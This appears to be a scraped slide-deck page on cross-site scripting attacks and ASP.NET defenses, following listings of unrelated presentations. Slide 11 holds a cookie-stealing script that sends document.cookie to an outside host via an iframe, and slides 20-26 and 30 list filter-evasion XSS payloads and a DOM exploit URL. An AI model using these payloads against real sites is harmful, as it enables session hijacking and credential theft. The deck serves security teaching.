Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfRankYa
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationSlibray Presentation
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 

Recently uploaded (20)

The Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdfThe Future of Software Development - Devin AI Innovative Approach.pdf
The Future of Software Development - Devin AI Innovative Approach.pdf
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Search Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdfSearch Engine Optimization SEO PDF for 2024.pdf
Search Engine Optimization SEO PDF for 2024.pdf
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Connect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck PresentationConnect Wave/ connectwave Pitch Deck Presentation
Connect Wave/ connectwave Pitch Deck Presentation
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 

XSS - Attacks & Defense

  • 1. XSS – Attacks & Defense
  • 2. Cross Site Scripting • A user’s credentials may be recovered by another user. • Inject client-side code as part of data content stored on the server side. – e.g. Javascript • When a user views the stored content, the client-side code executes on browser. • Transmit the current credentials to the attacker.
  • 3. XSS types • XSS is of three types – Persistent – Non Persistent – DOM based
  • 4. Non-persistent XSS • Application echo backs response • It can be over GET or POST • Very common with application developers • Features like search is common place for it • Error handling routines are vulnerable to it as well • Attacker can inject stream in it • Various tags can be injected
  • 5. Non-persistent XSS • Attack vectors are common • Exploitation is possible • Session hijacking with cookie retrieval is most popular ways • Links coming in the mail or social sites can lead to XSS • It is also known as type 1 OR reflected XSS
  • 6. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 NAME VALUE username saumil NAME VALUE username arthur inject <IFRAME> javascript 8008
  • 7. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008
  • 8. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652>
  • 9. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> GET /SESSID=84658734652 HTTP/1.0 (happens automatically)
  • 10. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> SESSID=84658734652
  • 11. What to inject - IFRAME example • Inject a 1x1 floating frame: • When the frame is loaded, it will cause the browser to make an automatic request. • Requesting URL http://192.168.7.41:8008/<cookie_value> <script>document.write(“<iframe src=”http://192.168.7.41:8008/”+document.cookie+”” width=1 height=1 frameborder=0></iframe>”);</script>
  • 12. Persistent XSS • In this XSS vector, attacker gets write access on the application • If application page can be loaded with malicious code • This code accessed by victim • Code gets executed on the client machine • XSS – credential stealing • Examples – bulletin board, blogs etc.
  • 13. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 NAME VALUE username saumil NAME VALUE username arthur inject <IFRAME> javascript 8008
  • 14. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008
  • 15. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652>
  • 16. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> GET /SESSID=84658734652 HTTP/1.0 (happens automatically)
  • 17. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app Web app Web Client SESSION KEYS 78974369523 12323747677 84658734652 NAME VALUE username saumil NAME VALUE username arthur NAME VALUE username nitesh SESSID=84658734652 8008 <iframe src= http://attacker/SESSID=84658734652> SESSID=84658734652
  • 18. XSS injection vectors • Applications are filtering certain traffic • Popular tags are filtered out as well • Character filtering is in place • There are various ways to inject vectors.
  • 20. XSS vector • <SCRIPT SRC=http://url/xss.js></SCRIPT> • <IMG SRC="javascript:alert('XSS');"> • <IMG SRC=javascript:alert('XSS')> • <IMG SRC=JaVaScRiPt:alert('XSS')> • <IMG SRC=javascript:alert(&quot;XSS&quot;)> • <IMG SRC=`javascript:alert("XSS")`> • Image tag malformed - <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  • 21. XSS vector • <IMG SRC=javascript:alert(String.fromCharCode(88, 83,83))> • Unicode encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99; &#114;&#105;&#112;&#116;&#58;&#97;&#1 08;&#101;&#114;&#116;&#40;&#39;&#88;&# 83;&#83;&#39;&#41;>
  • 22. XSS vector • UTF-8 - <IMG SRC=&#0000106&#0000097&#0000118&#000 0097&#0000115&#0000099&#0000114&#000 0105&#0000112&#0000116&#0000058&#000 0097&#0000108&#0000101&#0000114&#000 0116&#0000040&#0000039&#0000088&#000 0083&#0000083&#0000039&#0000041>
  • 23. XSS vector • Hex - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63& #x72&#x69&#x70&#x74&#x3A&#x61&#x6C& #x65&#x72&#x74&#x28&#x27&#x58&#x53&# x53&#x27&#x29> • XSS breakup - <IMG SRC="jav ascript:alert('XSS');"> • <IMG SRC="jav&#x09;ascript:alert('XSS');">
  • 24. XSS vector • <IMG SRC="jav&#x0A;ascript:alert('XSS');"> (line feed) • <IMG SRC="jav&#x0D;ascript:alert('XSS');"> (carriage return) • Multi-line injection
  • 25. XSS vector • <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> • <BODY BACKGROUND="javascript:alert('XSS')"> • <BODY ONLOAD=alert('XSS')> • BR, Layer etc. • <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> • HTTP-Equiv
  • 26. XSS vector • Iframe, Frameset & Table(background) • Base tag • Object tag XSS • Embed – with flash • XML namespace injection • XML ID, SRC etc.
  • 27. DOM based XSS • Ajax based XSS is relatively new way of attacking the client • Code written on browser end can be vulnerable to this attacks • Various different structures can have their own confusion • Information processing from un-trusted sources can lead to XSS
  • 28. DOM based XSS • Stream can be injected into the Ajax routine • If function is vulnerable to XSS then it executes the script • Script can be coming in various forms • Web 2.0 applications are consuming various scripts and that makes it vulnerable to this set of attacks
  • 29. DOM based XSS <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf(“user=")+5; document.write(document.URL.substring(pos,document.URL. length)); </SCRIPT> <BR> Welcome to our system … </HTML>
  • 30. DOM based XSS http://www.target.com/profile.html?user=Jack Exploit - http://www.target.com/profile.html?user= <script>alert(document.cookie)</script>
  • 31. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 Third party source Stream eval() XSS
  • 32. DOM based XSS if (http.readyState == 4) { var response = http.responseText; var p = eval("(" + response + ")"); document.open(); document.write(p.firstName+"<br>"); document.write(p.lastName+"<br>"); document.write(p.phoneNumbers[0]); document.close();
  • 33. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 XML Stream eval() XSS
  • 34. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 JSON Stream eval() XSS
  • 35. Anatomy of an XSS attack Web Server DB DB Web app attacker Web app Web app proxy Web Client 8008 JS-Object / JS-Array / JS-Script Stream eval() XSS
  • 36. DOM based XSS document.write(…) document.writeln(…) document.body.innerHtml=… document.forms[0].action=… document.attachEvent(…) document.create…(…) document.execCommand(…) document.body. … window.attachEvent(…) document.location=… document.location.hostname=… document.location.replace(…) document.location.assign(…) document.URL=… window.navigate(…)
  • 37. DOM based XSS document.open(…) window.open(…) window.location.href=… (and assigning to location’s href, host and hostname) eval(…) window.execScript(…) window.setInterval(…) window.setTimeout(…)
  • 38. Exploit and testing framework • There are testing framework for XSS which can be used during the testing • CAL9000 – OWASP project • BeeF – Browser exploit framework • XSSproxy • Few other out there
  • 40. Prevent XSS • Design Strategy • Validate Input. • Encode output variable data. • Sanitizing Free Format Input. • Set the correct character encoding. • Use the ASP.NET validateRequest option. • Use the HttpOnly cookie option. • Use the <frame> security attribute. • Use the innerText property.
  • 41. Prevent XSS • Encode output using HtmlEncode / URLEncode methods. • Do this even for user input, a database, or a local file. The HtmlEncode method replaces characters that have special meaning in HTML to HTML variables that represent those characters. For example, < is replaced with &lt and " is replaced with &quot. Encoded data does not cause the browser to execute code. Instead, the data is rendered as harmless HTML. Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));
  • 42. Prevent XSS • Data-Bound Controls: DataGrid, DataList, RadioButtonList and CheckBoxList do not perform encoding, • Turn all columns into templates and manually use HtmlEncode()/UrlEncode() on each call to DataBinder.Eval • Override one of its DataBinding methods, such as OnDatabinding or OnItemDataBound and perform encoding on its items.
  • 43. Prevent XSS • Allow Safe HTML like comments, blog fields, • Process it with HtmlEncode • Remove encoding on selected safe HTML tags StringBuilder sb = new StringBuilder( HttpUtility.HtmlEncode(userInput) ) ; sb.Replace("&lt;b&gt;", "<b>"); sb.Replace("&lt;/b&gt;", "</b>"); sb.Replace("&lt;i&gt;", "<i>"); sb.Replace("&lt;/i&gt;", "</i>"); Response.Write(sb.ToString());
  • 44. Prevent XSS • Set the Correct Character Encoding, • Application / Page level <meta http-equiv="Content Type" content="text/html; charset=ISO-8859-1" /> OR <% @ Page ResponseEncoding="ISO-8859-1" %> To set the character encoding in Web.config, use the following configuration: <configuration> <system.web> <globalization requestEncoding="ISO-8859-1" responseEncoding="ISO-8859-1"/> </system.web> </configuration>
  • 45. Prevent XSS • Validating Unicode Characters, using System.Text.RegularExpressions; private void Page_Load(object sender, System.EventArgs e) { // Name must contain between 1 and 40 alphanumeric characters // together with (optionally) special characters '`' for names such // as D'Angelo if (!Regex.IsMatch(Request.Form["name"], @"^[p{L}p{Zs}p{Lu}p{Ll}']{1,40}$")) throw new ArgumentException("Invalid name parameter"); } •{<name>} specifies a named Unicode character class. •p{<name>} matches any character in the named character class specified by {<name>}. •{L} performs a left-to-right match. •{Lu} performs a match of uppercase. •{Ll} performs a match of lowercase. •{Zs} matches separator and space. •{1,40} means no less that 1 and no more than 40 characters. •{Mn} matches mark and non-spacing characters. •{Zs} matches separator and space. •* specifies zero or more matches. •$ means stop looking at this position.
  • 46. Prevent XSS • Use the ASP.NET validateRequest Option, • By default, it is TRUE • Instruct ASP.NET to check for malicious inputs like <script>, etc. <% @ Page validateRequest="True" %>;
  • 47. Prevent XSS • Use the HttpOnly Cookie Option. • prevents client-side script from accessing the cookie from the document.cookie property protected void Application_EndRequest(Object sender, EventArgs e) { string authCookie = FormsAuthentication.FormsCookieName; foreach (string sCookie in Response.Cookies) { if (sCookie.Equals(authCookie)) { // Force HttpOnly to be added to the cookie header Response.Cookies[sCookie].Path += ";HttpOnly"; } } }
  • 48. Prevent XSS • Use the <frame> Security Attribute, • Use the innerText property instead of innerHTML property. <frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  • 49. Prevent XSS • Use AntiXSS library, //bad code String Name = Request.QueryString["Name"]; //code with antixss library String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]); namespace Microsoft.Application.Security { public class AntiXss { public static string HtmlEncode(string s); public static string HtmlAttributeEncode(string s); public static string JavaScriptEncode(string s); public static string UrlEncode(string s); public static string VisualBasicScriptEncode(string s); public static string XmlEncode(string s); public static string XmlAttributeEncode(string s); } }

Editor's Notes

  1. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  2. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  3. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  4. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  5. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  6. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  7. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  8. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  9. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  10. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  11. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  12. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  13. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces
  14. The famous web application set up diagram. Walk through each component, mention their roles. Web client - HTTP connections Firewall - lets in only HTTP requests, and allows only outbound HTTP responses Web server - handles all initial requests Applications - run either on the web server, or on app servers Database - SQL databases, and connection interfaces